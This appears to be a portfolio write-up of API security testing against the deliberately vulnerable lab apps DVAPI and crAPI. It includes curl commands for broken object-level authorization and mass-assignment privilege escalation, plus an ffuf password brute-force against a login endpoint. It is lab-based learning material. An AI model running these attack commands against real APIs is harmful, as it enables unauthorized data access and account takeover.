Offensive Operations (Ethical)

API Security Testing

Perform API security testing in vulnerable API platforms such as DVAPI and crAPI.

API security · penetration testing · vulnerability discovery

Project objective

Systematically test the OWASP API Security Top 10 against two intentionally vulnerable API platforms — DVAPI (Damn Vulnerable API) and crAPI (Completely Ridiculous API) — running locally in Docker, to build practical experience finding authorization and business-logic flaws that traditional web scanners tend to miss.

What I did

Both platforms were spun up locally and mapped with Postman/Burp before targeted testing against specific OWASP API Top 10 categories: Broken Object Level Authorization (BOLA), Broken Authentication, Excessive Data Exposure, and Mass Assignment.

# Stand up the lab environment
docker compose -f crapi/docker-compose.yml up -d
docker compose -f dvapi/docker-compose.yml up -d

# Passive endpoint discovery through the Burp proxy while browsing the app
# then export the collection for scripted testing:
curl -s -X POST https://api.crapi.local/community/api/v2/community/posts/recent \
  -H "Authorization: Bearer $TOKEN_USER_A"

# BOLA test: request another user's order using our own token
curl -s https://api.crapi.local/workshop/api/orders/ORDER_ID_BELONGING_TO_USER_B \
  -H "Authorization: Bearer $TOKEN_USER_A"

# Mass assignment: attempt to set an unexposed field (e.g. role/admin flag)
curl -s -X PUT https://api.dvapi.local/api/users/42 \
  -H "Authorization: Bearer $TOKEN_USER_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","role":"admin"}'

# Rate-limit / brute-force check on the auth endpoint
ffuf -u https://api.crapi.local/identity/api/auth/login -X POST \
  -d '{"email":"victim@crapi.io","password":"FUZZ"}' \
  -H "Content-Type: application/json" -w rockyou.txt -mc 200

Findings included a BOLA on crAPI's order-lookup endpoint (any authenticated user could retrieve another user's order by incrementing the order ID), a mass-assignment flaw on DVAPI's user-update endpoint allowing self-privilege-escalation to admin, and excessive data exposure in crAPI's community endpoint returning full user objects instead of the fields the frontend actually used.

Key learning

API vulnerabilities rarely show up in a traditional scanner report — BOLA and mass assignment are purely logic flaws that only appear once you understand what each endpoint is supposed to enforce and then deliberately violate that assumption with a second test account. Keeping two or three separate user tokens active at once (rather than testing everything as a single admin user) was the single biggest unlock for finding authorization issues quickly.